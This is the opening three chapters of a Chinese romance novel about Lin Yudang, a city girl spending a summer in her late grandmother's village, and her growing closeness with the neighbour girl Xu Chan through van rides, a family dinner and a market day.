《青白苦》
1. 第一章
简陋的车廊带来了我的爱人,又将她远送,风轻吹过地上的尘埃,天边云色是那样的祥和,恳求天神守护她的美好前程。
七月中下旬正值盛夏时期,田边吹过的风都是暖熏的,林语铛在午后两点,阳光最热烈的时候到达广青站。
广青站老式简陋,独有几根柱子支撑着车站,空,单调,纯朴。同列火车的乘客没有在这儿下车的,广青站是个小站,停站时间只有两三分钟,为了不坐过站,林语铛早早便拉着行李箱站在车厢门口。
沿途都是看不到边际的稻田,玉米地。林语铛跟着列车驱使的速度,一一扫过这些庄稼地,沉默不语,脸上没有一点儿表情。
『广青站到了,到站的乘客请下车!』
『广青站到了,到站的乘客请下车!』
女列车乘务员举着扬声器来回喊,另一乘务员将车门打开。一股热气瞬间侵袭上来,林语铛提着白色行李箱下车,烘热的气流快速包裹林语铛全身,阵阵闷意涌上心头,还需时间适应。
“林语铛!”
声音从身后传来,沉稳又靠谱的声线,莫名给人一种安心感。
林语铛转身,那女孩穿着过时的白色体恤加有些褪色的灰蓝牛仔裤,她留着刚到脖颈的中短发,看着非常干爽。
(她就是许蝉吧。)
母亲曾告诉过林语铛,下午来接她的是老屋对门人家的女儿——许蝉。
许蝉笑着朝林语铛走来,目光直直落在她身上,藏着丝丝难以发觉的尴尬。林语铛穿着时髦的米色碎花裙,拉的白色箱子看着也不便宜,真像富人家饱读诗书的白净小姐,她披散着黑亮长发于肩背上,在这闷热的天气下显得格格不入。
“你好!我是林语铛。”
林语铛礼貌向许蝉打招呼,露出标准的淑女微笑。
“你好!我是许蝉。”
许蝉习惯性地伸出右手,林语铛也自然与其握手示好。
二人长相各有各的美,许蝉五官精致,皮肤有些泛黄但不黑,透出健康的活力美。林语铛白嫩动人,如圣池中的白莲。
“江水到广青路途遥远,你坐车辛苦了,我帮你拿行李吧!”
许蝉主动伸手,想替林语铛拉箱子,但林语铛却顺势将箱子朝后移了移。
“多谢了,我自己拿就好。”
林语铛仍旧保持着温柔的微笑,许蝉就有些尴尬了,咧着的嘴角僵的收回,是自己太热情了哈,人家就一个箱子,还带四轮,哪像自家的蛇皮袋……
“哈,那走吧,李姨在等我们。”
许蝉敏感的心理上头,一时也不知说些什么,那就赶路吧。广青站虽小,却也是一小县城,二人真正要去的地方还远着呢。
“……”
林语铛察觉到许蝉的心思,刚想开口解释什么,便见许蝉要走了。话到唇边硬是咽了回去,自己要解释什么?说自己没有看不起她的意思么?合适吗?还是赶路吧。
老式的五菱宏光面包车,车壳满是灰尘,车内也好似从未清扫过一般,稍微不明显的位置即是厚灰土粒。
李姨是女司机,专门跑车送村里人去县里赶集,久坐车内身材肥胖可靠,圆圆的面孔非常和善。许蝉很有经验地坐在车中的小木凳上,同李姨时不时地聊几句家中情况。
林语铛拉着箱子坐在车上的原配椅上,先前觉着没什么,不经意间,手松垂在椅上,独特的轻棉质感……抬手一看,半个手背都灰了。
(呃……现在换位来得及吗?)
蹭许蝉与李姨聊的入神,林语铛抓紧时机也坐到许蝉旁边的小木凳上。这木凳的年岁定也不小,凳脚不平,明显有些摇晃,不过还好,至少干净许多。
“小林过得怎么样呀?”
聊着聊着,话题就到林语铛身上了。李姨虽和善,但也八卦。林语铛在外地长大,过得如何大家都不知道。
“也就那样吧,还是广青这边好,养人的很。”
林语铛接上话,避重就轻。
“考上大学了吧,小林!”
“你外婆之前总是跟我们提起你,说你读书好嘞!以后定有大作为!”
李姨这直爽的性子,想到什么都说,林语铛的外婆都去世三年了。广青的人没有那么注重这些,反正都是自己的亲人,想说便说,无碍的,阴阳不会将爱隔绝。
许蝉悄不插言,对林语铛的情况也很是好奇。
“嗯哼~”
林语铛轻笑一声,
“考上了,九月份就去报到。”
“啊呀!真是不得了呀!大学生呐!厉害啊小林!”
“将来一定有出息的很呐!”
李姨没读过什么书,她们那个年代能上学的都是有钱人家,穷苦人家大多都没读什么书,学历普遍偏低,林语铛竟然考上了大学,在李姨眼里真就是厉害,日后指定是坐办公室的大老板。
“没有没有,哈哈。”
广青的人还是那么纯朴,交谈间总能多些轻松,少些勾心斗角,或许老一辈都这样吧。
“等大学了就可以处男朋友了嘞!”
“小林喜欢啥么样的嘞?”
也是,大学生都成年了。
“小林这么漂亮,将来指不定会便宜哪家小伙子嘞!”
李姨的声音有种浑锐的尖片感,是广青人特有的口音。
“哈哈哈,人好就行,我还没打算找男朋友嘞!”
林语铛同李姨聊的正开,车子便来了个急转弯,广青位处盆地,海拔虽不高,但也有不少弯弯绕绕的山路。
许蝉见状迅速抓住前面副驾的椅身,尽可能的保持平衡,刚才听林语铛和李姨的聊天入了神,对这山路还没做好准备。
(林语铛!)
这山路有不少大弯,不抓紧很容易摔,一摔了就难爬起来。许蝉抓紧后立刻关心起林语铛,果不其然,她难以调整地靠到了许蝉的背上,刚想调整,李姨又来了个急转弯。
李姨开车就是这样,快准狠,没有身上的肉加持还开不的这么好嘞。李姨不再说话了,这段路需要集中精力,即便开了几十年也得多加注意。
林语铛的小木凳本就不平,又遇上这山路,一下就倒了,还没来得及找地方抓就被迫撞到了许蝉的背上。
“不好意思啊。”
林语铛忙道歉,不知道撞疼许蝉没有,自责感满满。
“没事。”
许蝉一手扶着自己的小木凳,一手还得抓着副驾的椅身,没手空出来管林语铛,只觉着背上一阵生疼。
眼见着小木凳被移走,林语
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铛还妄图去捡,怎料刚调整好身位,离开许蝉一寸便又被弹了回去,手瞬间下意识地抓住许蝉的腰。
(她的腰真细……不对!)
“嗯!”
腰是许蝉的敏感部位,被林语铛突然一抓,犹如万蚁缠身,真是难以描述的感觉。或许是因为二人都是女生的缘故,许蝉并没有太多的排斥。她转头看向林语铛,面色微微泛红而不自知,眼神无辜。
“啊!Sorry!”
林语铛立将手拿开,非常尴尬地道歉,面部也因自己的不妥之举而羞红。
(林语铛啊林语铛,你到底在干什么啊?)
(不要欺负人家许蝉了!)
好在山路终于平稳了些,林语铛慌忙捡过小木凳坐好,紧紧抓着旁边的椅身,灰尘再次大胆地玷污这白皙玉手。
后面的白色行李箱也滚来滚去的,算了,已经顾不得它了。李姨继续喋喋不休地讲起自家的事,丝毫不管许蝉林语铛刚才的经历,这都是正常之举。
山路平缓了,途中还能透过半开的车窗看到几个老人,一切都恢复平常了,唯独二人的心始终难以静下。
“我那儿子是个调皮柜(鬼),哼!一天天嘚就只知道耍!”
“桌(作)业不拖到最厚(后)一天就不写嘞!”
“若是能有小蝉你半分嘚好!窝(我)就知足了!”
“小孩子都这样,慢慢来,李姨!”
话题又到许蝉身上了,真好,林语铛也多想了解了解许蝉这个人。
“唉呀——你们都喊我慢慢来,他都六年级咯,我心里头着急嘞!”
“对咯!小蝉你九月份得上高三了吧?”
“嗯是。”
“明子高中是一登(等)一的号(好)高中嘞!”
“小蝉你好好学,也考个哒(大)学出来呦!”
“哈哈,我尽力,李姨。”
“如果你有空余时间,能麻烦你辅导一下我娃儿不?”
“行嘛!”
窗外的风吹动着许蝉颈上的发丝,一拨一起尽显灵动之意,林语铛在斜后方悄悄的瞧着许蝉,心中竟有种奇怪的舒心感。
(真是个好姑娘。)
许蝉同李姨聊天时直爽松弛,路过别家的苞谷地,浓郁的乡味充斥进车间,林语铛的目光再次落在许蝉身上,她好似与这儿融为一体,又好似从不属于这儿,真是奇怪的感觉。
到家已是四点前后,林语铛的白色箱子早已被染黑了边角,看着灰灰白白的,看着倒是融洽多了。
“我就住在这儿,你有事可以喊我。”
“我基本都在家。”
许蝉指了左边的三层自建房,装修老土但看着干净,与林语铛外婆的两层自建房只隔着一条两三米的水泥路。
“好。”
“你也可以多来找我玩。”
自外婆离世后,这间房子便没人居住了,陈年家具上都铺着厚墩墩的灰尘。一开门,那不通风的阴沉气味迎面直击林语铛,是个巨大的工作量呢。
好在林语铛一个人住,只需打扫一楼便好,一楼阴凉,在夏季住着舒适许多,外婆生前也总喜待在一楼的竹床上睡觉。
一切都熟悉又陌生,仿如给老去的记忆加了层灰蒙蒙的菱纱。
2. 第二章
“哗滋——哗滋——”
厕所设在二楼,看来还是得多上楼走走。花洒有些老化了,但还可以将就用用。
(时间真是不留情呢……转眼外婆都去世三年了。)
(也终是人无意呐,将遗憾怪罪于那自由无辜的飘渺之物,终是人淡忘了时间而又无奈于时间,子无情而非时间无情。)
温热的水流,弱弱浇湿林语铛的每一寸肌肤,为其净去远路的灰烬。或许是长大的缘故,林语铛坐车从千里之外的江水来到这广青,竟不觉疲惫,乏力之意也无一丝半毫。
高考结束后,母亲本想让林语铛出去旅游,多看看世界,但她拒绝了,拒绝的很干脆,心中冥冥有一条指引——要来广青看看,来看看外婆,看看这儿的人。
夕阳西下又是一番景色,这儿的落日不是昏黄的,是灿烂的,热烈的,是和蔼的,温温柔柔又充满希望的。
林语铛换过衣服,给母亲在微信上报平安。她走在院子边,靠在后门防盗网的墙沿上,眺望远方的天空。
(这才是生活。)
平平淡淡,悠悠美美。时不时的几缕暖风抚过刚洗净的湿发梢,柔柔的很舒服。如今站在这儿,颇有战胜紧张高考的舒缓自得之意,林语铛笑了,史书果真由胜者书写,若有人问起自己的那段高中经历,可能只会来一句,“也就那样吧”。
“林语铛!”
许蝉在前门喊着,蓝色铁栏大门开着,但许蝉不愿随意进入他人的房子。
“嗯?”
闻声,林语铛朝后望去,前门后门都在同一线上,若以房子为标准,这两门只是左右之分。
许蝉也刚洗过澡,发尾还留着细小的水珠,林语铛走近,二人都能清晰闻到对方身上的沐浴露香气。
“我妈……喊你晚上来家里吃饭,你一个人住,来我们家吃饭也热闹一些。”
许蝉冲林语铛笑笑。
“不……用了,太麻烦了。”
话刚出口,林语铛就后悔了,屋里什么菜都没有,能吃的就只有自己买的泡面了。
(可别就这样啊!我只是客气一下。)
林语铛心里暗自着急,手指紧捏裙一下摆,生怕许蝉就这样去回话了。
“别客气了!我看你来时也没买菜,怎么做饭呀?”
许蝉看出林语铛现在的窘迫,
“明天赶集,你买了菜再自己做饭也好呢。”
村子里每周都会赶一次集,就是上街买点日用品,添点菜肉什么的,林语铛来的也巧。
“那麻烦你们了,谢谢。”
林语铛一口应下,这次确实是自己考虑不周,忘记准备吃食了,先去许蝉家里蹭一顿饭也好,正巧明日赶集,给她们再送点东西增进下情谊。
广青县跟江水市的繁华是比不了的,广青的水土总给人一种暮年的尘感,顺其自然,随遇而安。
青谷村的生活节奏缓缓,黄昏之际便炊烟袅袅,若是在江水,这个点不是工作即是上学,人们也习惯了天暗食餐。
或许是地方的缘故,广青的风总能让人安神轻心,林语铛又不自觉的靠在门旁的墙沿上,沉浸其中,生得一丝怀念之感,怀念这儿的风,这儿的土,这儿的人……
“林语铛!”
许蝉站在自家院子里,见林语铛朝这儿看了才挥挥手,示意她过来吃饭了。
“好。”
林语铛回过神,内心顿觉一阵忐忑,两家就隔了一条两三米的水泥路,几步就到许蝉家院里了。
(我就直接进去吗……还需要做什么吗?)
林语铛略显犹豫,目光慢慢扫视许蝉家的院子,很干净,角落里有一儿童男款自行车。
(许蝉有弟弟吗……)
“怎么了?”
许蝉轻声问道,很空腔沉稳的感觉,她嘴角上扬,双目盈盈,自然的好似对谁都如此。
“嗯…没事。”
林语铛定眼看向许蝉,略微尴尬的笑笑,她知自己失态了。
(先进去吧……明天给她们买箱牛奶什么的……)
基本的人情世故,林语铛是懂的,一来一往也不欠什么,如此,林语铛内心倒是轻松许多。
“何姨笋(孙)女来咯!”
是广青的方言,许蝉母亲王霞也四十多岁了,小小的身板有了这尖亮方言加持,看着倒是能干。她端着大盆凉粉上桌,刚放下又准备去厨房拿碗筷。
“阿姨好。”
绵绵正经的普通话,一听就是知书达礼的女儿家,林语铛礼貌向王霞问好。
“哎——溺(你)好!”
王霞没读多少书,小学都没毕业,广青县也没出过,一辈子都在说方言,普通话就会那么几句简单的。
“搀(蝉)儿——溺(你)快(-)让何姨笋(孙)女坐嘛!”
“(号)好嘛。”
(嗯?!)
许蝉一句方言,顿改她在林语铛心中的印象,她本就是土生土长广青人,会说广青话也正常,但不知为何,林语铛潜意识里好似不希望她会说这方言。
为何不希望……林语铛自己也说不清……或许她觉着许蝉就应是不属于这儿的…
(真怪,我在想什么呢?)
许蝉走着,林语铛紧跟在身后,悄悄打量着这房子布局。
一进门就是水泥地大客厅,门前有一大块空地,门左边有一个杂物间……接着走,里面才是沙发和饭桌,厨房又在门外…………这布局真是怪怪的……但是很阴凉……
“吃反(饭)咯!许哲!”
“知导(道)!知导(道)!烦不烦嘛!”
(这就是许蝉的弟弟吧?)
林语铛又开始打量起沙发的许哲,像是被手机毒害的小学生,暗红色短袖加一深蓝色短裤,盘腿窝在沙发上打竞技游戏,沙发下的两只拖鞋朝向不一……
(这么黑?脾气看着也不太好……小屁孩……)
林语铛对他的第一印象很差,总觉得他邋里邋遢的,像个脏脏的小孩,跟许蝉完全不能比。
又看一眼许蝉,这许哲五官也平平无奇,真看不出来二人是姐弟。
“快气(起)来!有客人!”
许蝉有些不耐烦了,语气中夹杂着些许嫌弃,说着她又转头看向林语铛,语气立即变的柔和,并带着浅浅的微笑。
“你坐这里吧。”
许蝉弯腰将红色胶凳拉过,示意林语铛坐这儿。
“好,谢谢。”
林语铛赶忙过去答谢,凑近了,许蝉身上的沐浴露香气再次散入林语铛鼻腔,真好闻。
“啊啊——啊!窝(我)滴队友兜(都)是猪嘛?!”
许哲怒扔手机在沙发一旁,两条黑黝黝的小短腿使劲乱蹬,发泄怒火,浑然不知林语铛的存在。
“行咯!气(起)来!”
许蝉上前一把将许哲从沙发上提起,轻松的像捏了个活知了,看的林语铛一愣。
(哈?)
许哲这才看到前面的林语铛,一秒收敛,脚自顾的在地上摸鞋穿,小声嘀咕。
“这是呐(哪)个嘛?”
“这是何姨的笋(孙)女,没礼(帽)貌!喊人啊!”
“林接接(姐姐)号(好)!”
说完,许哲穿好拖鞋快速逃离现场,朝厨房跑去。趁着许哲离开,许蝉开始布置椅凳,有木凳,铁凳,总共才四个人吃饭,凳子款式就是三种,如此来看,最好的即是林语铛坐的红色胶凳。
林语铛静静地看着许蝉忙前忙后,想起身帮忙,却又不知从何帮起,逐渐有些不自在。
“你喜欢吃什么菜?”
“啊!我都可以,都喜欢!”
“嗯。”
(江水人的口味都偏清淡……)
许蝉俯身扶着白瓷菜盘边,青椒炒肉丝,辣椒炒土豆丝,凉拌凉粉……本想着将几个
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好吃或清淡的菜摆在林语铛面前,但总共就三菜,还全都是辣的,真没什么好摆弄的……
林语铛呆看着这几个菜,她瞧着个个都好,母亲自从嫁到江水后便学做江水的菜,饭桌上少有辣菜,但林语铛却偏喜欢吃这辣菜,独是这广青的味道最好,许是骨子里带的吧……
目光所及,这纤细瘦薄的手……
(许蝉的手竟如此好看……不都说农村人的手多是粗糙的吗……)
视线的压力感,许蝉扶着菜盘边儿抬眸,与林语铛对视的瞬间又立刻瞥向别处,快速起身,嘴角不受控制的咧开,笑的尴尬又合不上,幸好林语铛也将视线挪开,没见到许蝉这副模样……要不然,深夜里,许蝉又将难以入眠。
(许蝉你在做什么啊……尬死你自己算了,谁知道你刚才丑成啥样了?)
许蝉总觉得自己的容貌时常会相差很大,有时是好看的,有时又是极丑的……
(许蝉……)
(真是极其漂亮的一个妹妹。)
林语铛侧眸,暗自回想着许蝉刚才的模样,那双多思愁的瞳孔中带着一丝纯粹与侵略感,如此独特精美的一双眼睛倒是少有。
“吃反(饭)咯——吃反(饭)咯!!”
王霞端着碗筷过来,许哲扭捏的在后跟着。
“搀(蝉)!你给邀反(舀饭)!”
“嗯。”
王霞忙活了许久,盛饭的活自然就落在许蝉手里,一向如此。
“何姨笋(孙)女,多吃些!”
“吃肉!”
“好,好。”
王霞每说一个菜就用筷子敲那个菜盘边,很泼辣强势的样子,但没有恶意,从她眼中什么也看不到,真就心口合一。林语铛不多言,心中暗暗反感王霞的行为。
“妈!”
许蝉忍不了了,她与母亲说过多次这个习惯的不好,母亲就是改不了,平日里自家人吃饭就算了,如今当着林语铛的面还这样!
“哎?咋了?”
被许蝉叫住的一刻,王霞呆愣的像犯错的孩子般,委屈错愕,又是这样,看到王霞这副表情,许蝉的怒火同往常一样的,被强制压下。
“别这样。”
许蝉眼神示意母亲,母亲竟还是不明所以,眼神空洞的暴露大脑也未曾思考。
(……)
许蝉实在是气的不想多说,硬生生挤出三字。
“没事了。”
“这娃儿,怎(真)的是。”
“何姨笋(孙)女,多吃点哈!”
“好。”
林语铛暗暗注视着许蝉,若有所思。
夜色撩人,这是城里人的话,在这青谷村,一旦黑夜降临将大地包裹,周边便是一片黑寂。
(这村子里竟还没有装路灯!)
林语铛站于一楼门口,向外望去,远处黑的好似深渊之底,任何事物都无法估量。
夜凉了,晚风微微吹起林语铛的裙角,阵阵寒意上扰,趁着风,林语铛一把将门拉上。
“砰!”
一楼原是外婆睡觉的地方,这灯泡跟着外婆也有些年头了,光线昏昏蒙蒙的。
林语铛坐在外婆的木床边,瞧一眼手机。
(才九点多,睡觉会不会太早了?)
这念头出来的瞬间,灯光闪了一下。
“嗯?”
林语铛立刻警惕起来,看向头顶的灯泡,一楼的布局紧凑,中间是所谓的客厅,两边是杂物间,客厅中间是圆桌,旁边即是木床。
这小灯泡上满是厚灰,本来就暗,现又一闪一闪的,还有些许吓人。
(是外婆……提醒我早睡吗?)
幼年时期,外婆总催着林语铛睡觉,如今也是改成灯泡了……
“啪!”
林语铛利落按下床边开关,盖上被子,蜷缩着睡下,黑暗中,残留着外婆的气味。
“我想你了。”
3. 第三章
零散碎星高悬,明明相隔甚远又好似触手可得,飘飘散的云儿与星星擦肩,它也要入睡了,夜深了,星星怎的还不歇息?
许蝉望着黑天的碎钻,心中忧闷,视线回至房间天花板,什么也看不到,精力悄然集中,又出现熟悉的场景。是林语铛挪箱子的举动,是她下午打量自家的眼神,是没心没肺邋里邋遢的弟弟,是母亲敲菜盘发出的清脆刺耳声响,以及母亲那无辜错愕的表情……
(好烦,都是些小事,大脑就不能将它们放下,或者替我抹去这段记忆……)
尽管再怎么努力,想要掩盖何事,最终都将是无果的,许蝉觉着心累,神也累,到头来,她又会如以往一般,将过错推于自己的大脑,先就此了结一段落吧,明日还得早起赶集,若是起晚了便搭不上李姨的车了。
(睡吧……睡吧……)
(晚安,许小蝉,别想太多。)
云雾中藏着的是璀璨繁星,如陆地上人们未曾表露的心事,黑夜懂情,将二者产生连接的丝线隐去,舒心,安稳……黑夜觉着,这才是陆上人们应有的。
天欲亮之时,薄雾会安静侵入熟睡的青谷村,就单是浮在半空,无所欲又无所求的样子,它们或许早已习惯了,习惯了太阳烘热自己的奇妙感受。过不了多久,青谷村便会陆续有人出来洗漱,站在门口等车。
如今天热,天亮的也早,六点左右就亮起来了。林语铛也起来洗漱了,若照往常,她定是起不了这么早的,今早赶集,她心里装着这事,外加昨夜睡的早,起来也不觉困意。
(还是广青好,水土养人,睡眠质量也好。)
刚出门就看到许蝉与王霞二人,果然,大家还是跟以前一样,赶集这天起的都早。
“哎——何姨笋(孙)女!”
“溺(你)也赶常咯!”
王霞扯着嗓子与林语铛打招呼,看着倒是有活力。
“嘛(妈)!”
许蝉轻碰王霞胳膊,压低声音提醒。
“林欲(语)铛!她叫林欲(语)铛!桌(昨)碗(晚)不是才说了嘛?”
“哦哦。”
林语铛母亲李颖在微信里也跟王霞提到过林语铛的名字,昨晚许蝉又跟她强调了一遍林语铛的名字,但王霞还是记不住,也不知是记不住还是不想记。
“嗯,上街买点东西。”
林语铛微笑着回应,一手将院门拉过,一手将院子铁门锁上,黑色牛皮挎包金铜链子的窸窣声藏于钥匙扣的碰撞声中。
“早上好。”
林语铛笑眼盈盈的看向王霞,又将视线移至许蝉,她总会不自觉地看向许蝉,看向这个和自己年龄相仿且气质独特的同性,像是以上位者对下位者的好奇。
王霞应了一声,许蝉也是,面对林语铛的目光,她总是本能的回避。
“早上好。”
“你有跟李姨说吗?”
许蝉突然想到这茬,如果没有提前预约车位单是直接等候,很可能会因为位置满了而等下趟车,或是再联系其他人坐车,不论怎样都容易浪费时间,毕竟其他人的车也会被别人提前预约,会很被动。
“没有!”
林语铛会意的瞬间眉色慌张,自己太久没回来都忘记这茬事了!
许蝉刚想说些什么,母亲却率先开口了。
“莫得事!林……玉(语)铛,你桌(坐)我的位置嘛!”
“那你呢?!”
林语铛,许蝉二人异口同声,下意识看向对方,一个眼中满是受宠若惊的难为情,一个则是意料之外的惊讶,视线重叠又快速分开。
“我没得事,溺(你)那寄(几)个叔的电哗(话)我都有噻,再焦(叫)个就好了嘛!”
王霞说的面不改色,好似一切都是那么的容易。
“溺(你)……”
许蝉眉头皱着,想戳破母亲的逞能,但又因林语铛在这,看在有外人在的份上,给母亲几分面子,于是到嘴边的话又硬生生地咽了回去。
(搞什么啊?林语铛不过是一个外人,有必要吗?这次要买的东西很多,晚一趟车不知要浪费多少时间……)
许蝉尽力平复眉头,松解面部表情,叫林语铛看不出她心中的怨意。
“不用不用,这多麻烦啊!”
林语铛在旁推搡着,时不时又看看许蝉的脸色。
“哎呀!没得事!”
林语铛一客气,王霞就立马从裤子口袋里摸出手机,快速打给李叔,他也是跑车的,这青谷村的本村人都姓李,每家每户多多少少都有点亲缘关系。
“喂!离(李)哥!”
电话一通,王霞就自顾着走到一旁,电话内容只有她能听到。
“哎!汪(王)霞!”
“哎!溺(你)车上桌(坐)漫(满)了么?可不可以把我带上?”
“漫(满)咯!漫(满)咯!”
“行嘛!”
电话刚刚挂掉,王姨又滑动通讯录,拨打张姨的电话。
“还能打(搭)我不呐?”
……
(真是的…自作主张。)
不用走上前听,许蝉也能知道母亲的处境,跑车的总共就那么几个,李姨,李叔,张姨……
许蝉心中不悦,但又觉着母亲可怜,她没读多少书,对外人总是客客套套的,想着结善缘,父亲不在家,需要周边邻居帮助的机会很多。
“要不我还是等下趟吧。”
林语铛左手握着胸前的挎包带,试探地瞅瞅许蝉。
“没事。”
许蝉象征性地瞥一眼林语铛,莫名的对她有些反感。
(这包是什么牌子的?看着不便宜……)
(这么小的包有什么用?装个手机纸巾的,还能装什么?还不如我的帆布袋。)
想着,许蝉眼藏笑意的将视线挪开。
“那……好吧,谢谢你们。”
(真冷漠呢……)
林语铛笑笑,准确捕捉到许蝉前一秒看自己挎包的眼神。
(她这是什么眼神?喜欢我的包?)
(不太像,她笑什么?觉得我穿的太过正经?去赶集有些滑稽么……呵。)
林语铛的裙子很多,昨天穿白色连衣裙,今日又改为牛仔套装短裙,颜色很深,外加今日的低丸子头,整体显得尤为时尚。
林语铛心中冷笑一声,对许蝉的印象再次改观。
(老实姑娘~哼~……)
(看来得多买点东西了……)
王姨熄屏手机,有些尴尬沮丧地走回来,在意料之中,许蝉不想多说什么了。正巧此时李姨的车就在不远处了,她们也该走了。
“溺(你)们先揍(走)哈!”
“我万(晚)店(点)儿!”
“……”
眼见着要和林语铛上车,许蝉又觉得有些不舍,这种情感已经好久都未有过了。
(妈要等下趟,我跟林语铛上车……妈……)
明明只是暂时分别一会,许蝉就是莫名的觉得感伤,觉得悲惨。如果父亲在身边,如果家里有自己的车就好了……悲伤情绪上涌,许蝉嘴角微颤,心口堵闷。
“到……到那里怎么联系?”
心不在此,许蝉对母亲说了句普通话。
“啥(什)么怎个连(联)细(系)嘛?守(手)机嘛!溺(你)这娃儿!”
“……”
许蝉不再说话,李姨的面包车刚停稳,她便头也不回地利落拉车门上去,副驾有一个阿姨坐了,她便坐到后排的靠窗位上,动作行云流水,林语铛谢过王霞也上来坐到许蝉旁边。
“号(好)嘞!我先揍(走)了哈!”
“好嘛!”
李姨跟王霞招呼一声,脚踩油门,窗边的房屋开始后倒。
(那些小凳子呢?哪去了?)
林语铛扫视一圈车内,
(怎么放到后面去了?)
李姨跟副驾的阿姨一直聊天,有说有笑的,关系看着挺好……许蝉不理会林语铛,单是看窗外这熟悉的不能再熟悉的路景。
车停了,上来一胖老奶奶,看着应该五六十的样子,穿着老人标配的紫色碎花衣裤,料子很轻软。
(就她一个人吗?)
林语铛打量着这位奶奶,她一上来就坐在林语铛旁边,紧靠着林语铛,她的皮肤很松弛,银白短发圆脸,看着蛮和蔼的。
(老人家都喜欢坐软椅子哈……)
这奶奶挤的林语铛不舒服,本是两个连坐的位置,如今已坐了许蝉和林语铛二人,这奶奶还硬是挤上来……没办法,林语铛只好往许蝉这挪了挪,与许蝉贴着。
许蝉穿着白色短袖衬衫加浅色牛仔短裤,胳膊大腿裸露的肌肤非常嫩滑,就是没有林语铛那样肤白。
林语铛触碰许蝉之际,许蝉才回头瞧了眼林语铛,二人相视一笑,许蝉又将头转向窗边。
(这林语铛的皮肤真好,水嫩水嫩的……长的也漂亮,果然大城里的小姐就是不一样……护肤品应该不少……)
许蝉暗自神伤,自己从小到大都还没用过什么护肤品,只是尽量的规律作息,养着身体。
(她刚才怎么又冲我笑啊?我挤的她不舒服了?…………我又不是故意的,我也被挤的很不舒服呢……)
按照幼年依稀的记忆,林语铛很清楚,这辆车等会儿定会更挤,坐的满满的。
车前面的李姨聊的欢快,后排则衬的更为安静了。再次停车,上来了四个老人,三女一男,长的都比较矮,年龄应都是六十往上。
她们自觉熟练地在后面摆小凳子坐,这是量老式的五菱宏光面包车,二二三的布局,中间是两个连体座椅,后面本应是三个座的连体,但是被李姨拆掉了,看着宽敞许多,一连坐四个人都不成问题。
这些个老人上来了,车内瞬间就热闹了,他们有说有笑的,什么都聊,基本都是讲自己儿女在外的工作情况。
途中又上来一对母子,拿小板凳坐在门口的位置,单是在外看着都觉拥挤十分。
还好,颠颠簸簸的很快就到集市了。
“你要去哪里呀?”
林语铛对这条街只有儿时那点零碎的记忆,算不上熟悉。
“买菜。”
许蝉语气冰冷,使得林语铛不好接话。
(这林语铛对这儿熟悉吗?知道怎么回去吗?……别走丢了……)
许蝉估摸着,还是加个联系方式先吧。
“我们加个联系方式吧。”
“好!”
林语铛快速掏出手机,加上许蝉的微信。
“那我先走了!”
有了微信,林语铛顿时自信许多,就要单独
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去买东西了,因为后面也要给许蝉一家买,有许蝉跟着反而不太好。
“好……”
话音刚落,林语铛就朝集市里走去,眼见着林语铛渐行渐远的背影,许蝉感到一丝疑惑。
(不一起走吗……)
(算了,她都这么大个人了,走不丢的……)
……
“你好,这个土豆多少钱?”
林语铛停在一老伯面前,这老伯的摊位很简陋,就两个麻袋铺在地上,摆了土豆,黄瓜,苋菜,空心菜等多种未标价的蔬菜。他身子矮小,全身都黝黑黝黑的,坐在摊位旁看着很是沧桑劳苦。
这老伯能听懂普通话,抬头看向林语铛。
“丝(四)块!溺(你)邀(要)朵(多)少?”
老伯说着立刻找出一红色塑料袋,很是渴望的看着林语铛。
“额……”
林语铛虽从小居住在江水,但家里并不算是非常富贵,也仅是正常的家庭水准,经常也会去菜市场买菜,不至于对菜的价格完全不了解。
(这么贵!我天!土豆不都一两块一斤吗?四块?)
“哎呀!溺(你)邀(要)多少?”
“讲噻!”
(真没礼貌!卖这么贵还这么理直气壮!)
林语铛当即就要恼了,眉头刚皱,就被许蝉打断了。
“哲(这)么柜(贵)!”
“溺(你)当她怨打透哦!(冤大头)”
许蝉突然出现在林语铛旁边,用方言与这老伯对话,惊的林语铛一愣。
“那(哪)有哲(这)个事嘛!”
这老伯还想狡辩,许蝉直接拉林语铛离开。
“这些人就是看你穿太漂亮了,又不会说方言,都知道是外地的,要宰你,别理他们!”
许蝉最反感这些看人定价的菜贩,快走中,乌黑短发在脖颈上一颠一颠的晃动,从后面看,她的肩背很薄,但总能给人一可靠之感。
“谢谢。”
林语铛在后盯着许蝉背影,很快便跟上同步。
(她人还挺仗义的……人真好……)
其实不用许蝉出面,林语铛也不会去当那冤大头。走了一段路,许蝉突然意识到自己的失态,忙松开林语铛的手,耷拉着眼眸,叹一口热气。
“对不起。”
真是的,许蝉发现自己真是变得越发奇怪,越发的难以控制自己的情绪。可能就像网上说的那样,得了什么心里疾病吧……
“没事没事!谢谢你啊!”
“谢谢!谢谢!”
林语铛瞪大双眼,忙表示无碍。
“我还得谢谢你呢!如果不是你,我可能就被那老伯坑了呢!”
林语铛露出一双人畜无害的星星眼,双手顺势握住许蝉刚才牵自己的右手,表示友好。
(嗯!)
许蝉不喜与他人有肌肤接触,刚才拉林语铛纯属情绪失控,如今她又握起许蝉的手,许蝉心中仅有不自在的反感,她还停留在自己刚才冲动之举的尴尬中。
“我们一起走吧。”
许蝉强挤出一抹微笑后便转身要走,顺便抽出自己的右手。林语铛则立刻跟上,眼中闪过一丝不易察觉的深邃。
“好。”
(这许蝉倒真是有点意思。)
……
按照计划那样,林语铛买了很多东西,除了一些蔬菜,还有两箱奶加一大包东西,有零食有日用品,不用许蝉帮忙的,她一路自提,看着很是夸张。
许蝉也买了不少东西,菜肉加洗衣粉衣架这类的。二人跟王霞在荣昌商场外集合,叫车回去。
还是李姨的车,这次就剩了后面和副驾的位置,王霞坐副驾,林语铛和许蝉则坐在后面的小板凳上。
回村的路是最颠簸的,大家都买了不少东西,又挤又热,车开起来了还好,一直有沿路风吹进来。
车里比来时要安静许多,人也换了一起批,许是都累了,基本没什么人说话,独王霞时不时会跟李姨唠两句。
车里震的厉害,许蝉一刻也不曾松开旁边的能抓的车柱,林语铛也尽量保持平衡,一个猛烈的急转弯,林语铛还是被颠甩地摔撞到许蝉前身,撞得自己生疼,许蝉就更不用说了。
“对不起,对不起。”
林语铛赶忙道歉,看向许蝉脸色,想起身但还不行,车还是很颠,她真想就这样靠着许蝉。
许蝉面无表情,好像早就料到林语铛会如此,有种习惯已久的从容。
(她身上好香……)
天气炎热,车内有很明显的汗酸味,但林语铛身上还是香香的,许蝉也是,都是各自不同的沐浴露香味……
香气相互碰撞,入侵,结合,许蝉林语铛二人既喜爱自身的香味,又沉迷于对方身上的气味,都是淡淡的……
车平稳一些了,许蝉便扶着林语铛起来。
“谢谢。”
(好累。)
